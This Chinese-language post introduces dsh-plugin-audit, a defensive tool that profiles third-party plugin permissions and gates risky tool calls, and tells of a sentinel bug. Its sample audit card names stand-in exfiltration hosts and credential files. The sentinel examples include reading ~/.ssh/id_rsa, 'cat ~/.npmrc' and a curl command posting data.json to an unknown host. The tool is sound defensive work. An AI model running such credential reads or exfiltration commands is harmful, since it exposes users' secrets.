安装一个第三方插件,本质上是一次授权——授权它读你的文件、连它的服务器、动你的凭证。问题是:你真的知道它要什么权限吗?
为什么写这个插件
DeepSeek Harness(DSH)的插件生态正在长大:雷达站 awesome-dsh-plugins 已经收录了几十个社区插件,涵盖会话迁移、跨会话通信、远程渠道等各种能力。这是好事,但有一个越来越显眼的问题——
插件安装没有权限声明环节。 一条 dsh plugin add xxx,插件代码就进了你的 harness 进程:它能读文件系统、能开子进程、能访问 process.env 里的一切(包括你的 API token)、能向任意主机发请求。装之前,你唯一的"审查手段"是自己去读它的源码——而没人真的会为每个插件做这件事。
我们需要的不是"信任"或"不信任"的二元选择,而是证据:这个插件的代码到底碰了什么能力,把文件和行号摆出来,让人来判断。
同时,静态审查只覆盖"装之前"。插件真正运行起来之后,每一次工具调用都是一次新的授权决策。所以还需要一道运行时的关卡。
这就是 dsh-plugin-audit 的两层设计:静态画像 + 运行时哨兵。
它做什么
第一层:plugin_audit 静态审计工具
装好后,会话里会多出一个 plugin_audit 工具。指向任意插件的源码目录,它返回一张权限画像卡:
## Plugin audit: fixture-suspicious-plugin**Risk: REVIEW** — REVIEW — human review recommended before installing> 1 files scanned; risk=review; 10 findings (4 review, 4 notice, 2 info)### Permission profile| Surface | Observed ||---|---|| Filesystem read | **yes** || Filesystem write | **yes** || Child processes | **yes** || Network | **yes** || Outbound hosts | `evil.example.com`, `exfil.badhost.io`, `telemetry.example.net` || Env variables | `GITHUB_TOKEN`, `HOME` || Credential-looking env | `GITHUB_TOKEN` || Credential paths | `.npmrc`, `.ssh` || Dynamic code execution | **yes** || Injected services | `credentials`, `tools` |
扫描覆盖的能力面:
- 文件系统读写
——含别名导入( readFileSync as rfs)、异步方法(rm/mkdir/cp等 20+ 个) - 子进程
—— exec/spawn/fork及其同步变体 - 网络
—— http/net/fetch/WebSocket,以及 axios/got/undici 等常见 HTTP 库的导入;URL 字面量里的外发主机会被逐个提取(自动剥离 userinfo、IPv6 括号、尾部点) - 环境变量
——所有 process.env.X引用;名字疑似凭证的(TOKEN/KEY/SECRET…)单独升级标记 - 凭证路径
—— .ssh/.aws/.npmrc/id_rsa等 - 动态代码执行
—— eval/new Function/vm模块 - manifest 与 bundle patch
—— package.json的依赖声明、cordis.patch.yml是否 override/delete 了别人的插件行
每条发现都带文件和行号。风险分三档:INFO(无敏感能力)→ NOTICE(有能力,扫一眼列表)→ REVIEW(装之前建议人工审查)。
它是只读的——而且这件事本身被强制执行。 每份报告携带 writesPerformed: false 契约标记;审计器还附带一个 invariant 伴随插件,如果任何 plugin_audit 结果丢失了这个标记,宿主会直接让会话失败。审计别人代码的工具,自己先戴上镣铐。
第二层:运行时哨兵
静态审计管"装之前",哨兵管"跑起来之后"。它挂在宿主工具管线的 tools/pre-execute waterfall 上,监视会话里的每一次工具调用,命中三条规则之一就返回 ask,交给宿主原有的审批提示:
read~/.ssh/id_rsa、bash: cat ~/.npmrc | |
curl -d @data.json https://collector.unknown.io/x | |
write~/.zshrc |
没有审批通道时,调用被拒绝——绝不静默放行。
怎么使用
安装
# 从 npmdsh plugin --profile web add dsh-plugin-audit# 或直接从 GitHubdsh plugin --profile web add github:jkrandom-sudo/dsh-plugin-audit
重启 profile 后生效。卸载同样一条命令:dsh plugin --profile web remove dsh-plugin-audit。
审计一个插件
在会话里直接说:
用 plugin_audit 审计 ~/some-third-party-plugin 这个插件或者让模型直接调用:
{ "path": "/absolute/path/to/plugin", "format": "markdown" }path(必填)——插件的源码目录(不是带 node_modules的安装产物)format—— markdown(默认,返回上面的卡片)或json(返回结构化报告,适合程序化处理)
配置哨兵
在 profile 的 cordis.patch.yml 里:
- id: dsh-plugin-auditname: 'dsh-plugin-audit'config:sentinelEnabled: true # 总开关;false = 只保留静态审计allowedHosts: # shell 外发的预批准主机- github.com- registry.npmjs.org- '*.deepseek.com' # 前导 *. = 后缀规则(同时匹配裸域名)
正常命令频繁触发询问?把主机加进 allowedHosts 即可。
一段诚实的插曲:v0.1.x 的哨兵其实从未工作过
这个插件最值得讲的经验,来自它自己的一次翻车。
v0.1.0 发布前,哨兵在测试里全部通过,在本机真实 profile 的进程内验证里也"通过"了。发布后的一次三 agent 代码审查却发现了一个 P0:哨兵读的是 exec.args,而宿主真实的执行对象把参数放在 exec.arguments。生产环境里每条规则永远命中不了——哨兵是个安静的摆设。
更讽刺的是为什么验证没拦住:测试 harness 和手工验证脚本都镜像了同一个错误假设,错得彼此印证。
v0.1.2 的修复不止改了字段名(exec.arguments ?? exec.args),还做了两件防复发的事:
- 验证脚本改用宿主真实形状
{ name, arguments }派发,并在 harness 里留下注释记录这次回归; 新增 src/events.ts,用 cordis 的Events接口模块增强把宿主 waterfall 声明进类型系统——监听器形状从此编译期受检,同类错误在tsc阶段就会爆炸,而不是上线后。
教训一句话:当测试替身和生产事实由同一个假设驱动时,绿灯什么也证明不了。 验证要对着宿主的真实源码形状来,而不是对着自己的理解来。
边界与立场
这个插件是审计辅助,不是杀毒软件:
干净的报告含义是"这些规则没发现证据",不是"安全"; 扫描基于源码文本而非 AST,字符串和注释里的命中会原样上报——宁多勿漏,因为卡片是给人看的证据; 不跟随 symlink,跳过 node_modules/dist等目录(只发布构建产物的包会强制得 NOTICE 而不是假干净);上限 400 文件 / 单文件 256 KB,超出会在报告里如实标注。
发现绕过方式——扫描器漏检的能力、可规避的哨兵规则——欢迎在 Issues 提出,敏感内容请先私下报告。
链接
仓库:https://github.com/jkrandom-sudo/dsh-plugin-audit npm:https://www.npmjs.com/package/dsh-plugin-audit 雷达登记:awesome-dsh-plugins → PLUGINS.md → 🔌 单插件
装插件之前,先花十秒钟看看它的权限画像。这十秒钟,就是这道安检门存在的全部理由。
夜雨聆风